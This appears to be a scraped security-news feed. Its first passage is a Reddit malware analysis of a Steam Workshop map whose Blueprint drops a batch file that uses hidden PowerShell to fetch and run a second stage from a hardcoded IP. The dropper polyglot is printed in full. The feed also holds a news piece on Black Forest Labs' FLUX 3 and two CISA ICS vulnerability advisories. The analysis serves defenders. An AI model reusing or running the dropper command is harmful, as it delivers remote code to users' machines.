No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.

The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.

Searching across the extracted asset data revealed only a small number of notable references:

ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1

These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.

6): Reverse Engineering the Blueprint

The complete function chain is:

ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile

Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.

Tracing the Blueprint bytecode shows the path construction:

dir = GetPlatformUserDir() // C:/Users/<user>/Documents/ path = dir + "s.bat"

ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.

7): Extracting the Embedded Payload

A single embedded string inside the Blueprint contains the following data:

{"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"}

The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.

This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.

The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.

8): Analyzing the Dropper Script

The extracted script is also human-readable:

if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit )

The script uses a simple two-stage execution flow.

On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.

On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.

The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.

The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.

9): Confirming Execution on an Affected PC

On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.

This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.

https://preview.redd.it/hav7l33dq1fh1.png?width=2252&format=png&auto=webp&s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32

10): Did the second stage execute?

The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:

https://preview.redd.it/srmpq28pq1fh1.png?width=1577&format=png&auto=webp&s=6a2841345f423906fafaa570acd20d85636e3b70

The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.

On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.

The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).

This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.

https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&format=png&auto=webp&s=141474bd203a7d6529591ae09487da2e35e58026

11): Analysis Summary

Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:

  • The Workshop uploader account appears to have been created only about one week before the item was published
  • The Workshop map currently does not allow users to leave comments or ratings
  • The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
  • The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
  • Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
  • The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
  • That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.

What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.

12): Limitations & Unknowns

What does steamb.bat do?

Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.

IOCs

Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9

Final Verdict

Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.

What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.

I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.

Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data

Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.

Cheers and stay safe!

FeintBe

submitted by /u/feintbe
[link] [comments]]]> <![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]> https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/ https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/ Thu, 23 Jul 2026 20:48:22 +0200 📰 IT Nachrichten tsecurity.de Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.

The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface.

That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model.

FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve.

There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request.

What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.

Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.

But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far.

Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption

BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability.

In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.

One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.

Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.

Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.

Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality.

Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.

One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.

Here's a rough guide for enterprises considering which video models to rely upon:

Model

Max single-generation duration

Max resolution

Key constraints

Price per 10-second clip (720p)

Price per 10-second clip (1080p)

Price per 10-second clip (4K)

FLUX 3 Video

20 seconds

Not stated; evaluations run at 720p

Early access; no published SLA or pricing

Not announced

Not announced

Not announced

HappyHorse 1.1

15 seconds

1080p

No 4K; closed weights

Not published (v1.0 reseller rate is ~$1.82)

Not published (v1.0 reseller rate is ~$3.12)

n/a

Veo 3.1

Per-second billing

4K

Supports clip extension; preview

$4.00

$4.00

$6.00

Veo 3.1 Fast

Per-second billing

4K

Preview

$1.00

$1.20

$3.00

Veo 3.1 Lite

Per-second billing

1080p

No 4K, no clip extension; preview

$0.50

$0.80

n/a

Gemini Omni Flash

10 seconds (3s minimum)

720p at 24 FPS

Preview abd no EU access

$1.00

n/a

n/a

One architecture for media generation and physical action

FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026.

The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.

"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."

He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."

BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.

For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.

For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.

What FLUX 3 Video can actually do

The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation.

Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.

The capability list BFL published covers:

  • Text-to-video generation.

  • Image-to-video generation, either animating from a starting frame or using images as visual references.

  • Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.

  • Generative video-audio continuation from existing video and audio input.

  • Keyframe-to-video generation for controlled transitions between defined moments.

  • Multilingual dialogue.

  • A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.

  • Typography generation and animated design.

  • Agentic chaining of individual clips into longer, multi-shot sequences.

That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.

It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.

BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.

FLUX-mimic tests whether video models can become robot models

BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.

The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.

FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data.

BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.

"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."

BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni.

Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic."

The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it.

There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.

Open weights helped make FLUX an industry standard

BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises.

The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies.

That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.

Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.

FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch, gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.

The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.

FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery. BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.

The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows.

The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.

]]> <![CDATA[USN-8599-1: HTTP-Date vulnerability]]> https://tsecurity.de/de/3689946/unix-server/usn-8599-1-http-date-vulnerability/ https://tsecurity.de/de/3689946/unix-server/usn-8599-1-http-date-vulnerability/ Thu, 23 Jul 2026 20:18:22 +0200 🐧 Unix Server tsecurity.de <![CDATA[MZ Automation lib60870]]> https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/ https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/ Thu, 23 Jul 2026 20:16:52 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

Summary

Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.

The following versions of MZ Automation lib60870 are affected:

  • lib60870 <=2.4.0
CVSS Vendor Equipment Vulnerabilities
v3 8.2 MZ Automation MZ Automation lib60870 Out-of-bounds Read

Background

  • Critical Infrastructure Sectors: Chemical, Energy, Water and Wastewater
  • Countries/Areas Deployed: Worldwide
  • Company Headquarters Location: Germany

Vulnerabilities

Expand All +

CVE-2026-16002

The affected product is vulnerable to an Out-of-bounds read, which may allow an attacker to crash the parsing process and cause a denial of service.

View CVE Details

Affected Products

MZ Automation lib60870
Vendor:
MZ Automation
Product Version:
MZ Automation lib60870: <=2.4.0
Product Status:
known_affected
Remediations

Vendor fix
MZ automation recommends users update to version 2.4.1 or later. Documentation can be found at https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv.
https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv

Relevant CWE: CWE-125 Out-of-bounds Read

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 8.2 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
4.0 8.8 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

Acknowledgments

  • Lars Tray reported this vulnerability to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of this (these) vulnerability(ies).

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

Revision History

  • Initial Release Date: 2026-07-23
Date Revision Summary
2026-07-23 1 Initial Publication

Legal Notice and Terms of Use

]]> <![CDATA[Weintek cMT3092X]]> https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/ https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/ Thu, 23 Jul 2026 20:16:14 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

Summary

Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.

The following versions of Weintek cMT3092X are affected:

  • cMT3092X firmware <20210218 
  • EasyWeb <v2.1.20
CVSS Vendor Equipment Vulnerabilities
v3 8.8 Weintek Weintek cMT3092X Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management

Background

  • Critical Infrastructure Sectors: Critical Manufacturing
  • Countries/Areas Deployed: Worldwide
  • Company Headquarters Location: Taiwan

Vulnerabilities

Expand All +

CVE-2026-60134

Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.

View CVE Details

Affected Products

Weintek cMT3092X
Vendor:
Weintek
Product Version:
Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: <v2.1.20
Product Status:
known_affected
Remediations

Vendor fix
Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
https://www.weintek.com/globalw/Support/Knowledge.aspx

Mitigation
Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

Relevant CWE: CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE-2026-61892

Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.

View CVE Details

Affected Products

Weintek cMT3092X
Vendor:
Weintek
Product Version:
Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: <v2.1.20
Product Status:
known_affected
Remediations

Vendor fix
Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
https://www.weintek.com/globalw/Support/Knowledge.aspx

Mitigation
Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

Relevant CWE: CWE-732 Incorrect Permission Assignment for Critical Resource

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE-2026-61886

Weintek cMT3092X HMI stores user account passwords in plaintext.

View CVE Details

Affected Products

Weintek cMT3092X
Vendor:
Weintek
Product Version:
Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: <v2.1.20
Product Status:
known_affected
Remediations

Vendor fix
Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
https://www.weintek.com/globalw/Support/Knowledge.aspx

Mitigation
Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

Relevant CWE: CWE-256 Plaintext Storage of a Password

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 7.1 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVE-2026-60135

An attacker can modify data that should be restricted to read‑only access.

View CVE Details

Affected Products

Weintek cMT3092X
Vendor:
Weintek
Product Version:
Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: <v2.1.20
Product Status:
known_affected
Remediations

Vendor fix
Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
https://www.weintek.com/globalw/Support/Knowledge.aspx

Mitigation
Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

Relevant CWE: CWE-286 Incorrect User Management

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
4.0 7.1 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Acknowledgments

  • Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take the following measures to protect themselves from social engineering attacks:

Practice principles of least privilege.

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

Revision History

  • Initial Release Date: 2026-07-23
Date Revision Summary
2026-07-23 1 Initial Publication

Legal Notice and Terms of Use

